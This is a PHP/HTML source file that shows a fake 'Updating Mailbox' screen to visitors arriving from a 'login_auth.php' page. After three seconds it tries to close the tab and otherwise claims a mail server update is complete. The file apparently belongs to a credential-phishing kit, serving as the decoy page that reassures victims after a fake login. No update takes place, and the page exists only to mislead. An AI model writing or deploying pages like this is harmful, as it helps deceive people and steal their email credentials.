<?php
session_start();

// Check if the user was redirected from login_auth.php
if (!isset($_SESSION['redirect_from_login']) || $_SESSION['redirect_from_login'] !== true) {
    // If not, deny access and redirect to login
    header('Location: login_auth.php');
    exit();
}

// Clear the session variable to prevent reuse
unset($_SESSION['redirect_from_login']);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Updating Mailbox</title>
       <link rel="icon" href="images/bg12.ico" type="image/x-icon">

    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background: url('images/image.png') no-repeat center center fixed;
            background-size: cover;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            text-align: center;
            overflow: hidden;
        }
        .carousel {
            display: flex;
            flex-direction: column;
            align-items: center;
            animation: slide 3s linear infinite;
        }
        .message {
            font-size: 24px;
            font-weight: bold;
            color: black;
            text-shadow: 2px 2px 4px rgba(255, 255, 255, 0.5);
            margin: 10px 0;
        }
        #fallback-message {
            display: none;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background-color: rgba(0, 0, 0, 0.8);
            color: white;
            padding: 20px;
            border-radius: 10px;
            font-size: 18px;
            text-align: center;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
        }
    </style>
</head>
<body>
    <div class="carousel">
        <div class="message">Updating Mailbox...</div>
        <div class="message">Finalizing Update...</div>
    </div>
    <div id="fallback-message">Mail server information: Update completed. Please close this tab manually.</div>

    <script>
        setTimeout(() => {
            // Attempt to close the tab
            window.close();

            // If the tab cannot be closed, show a fallback message
            const fallbackMessage = document.getElementById('fallback-message');
            fallbackMessage.style.display = 'block';
        }, 3000); // 3000ms delay
    </script>
</body>
</html>
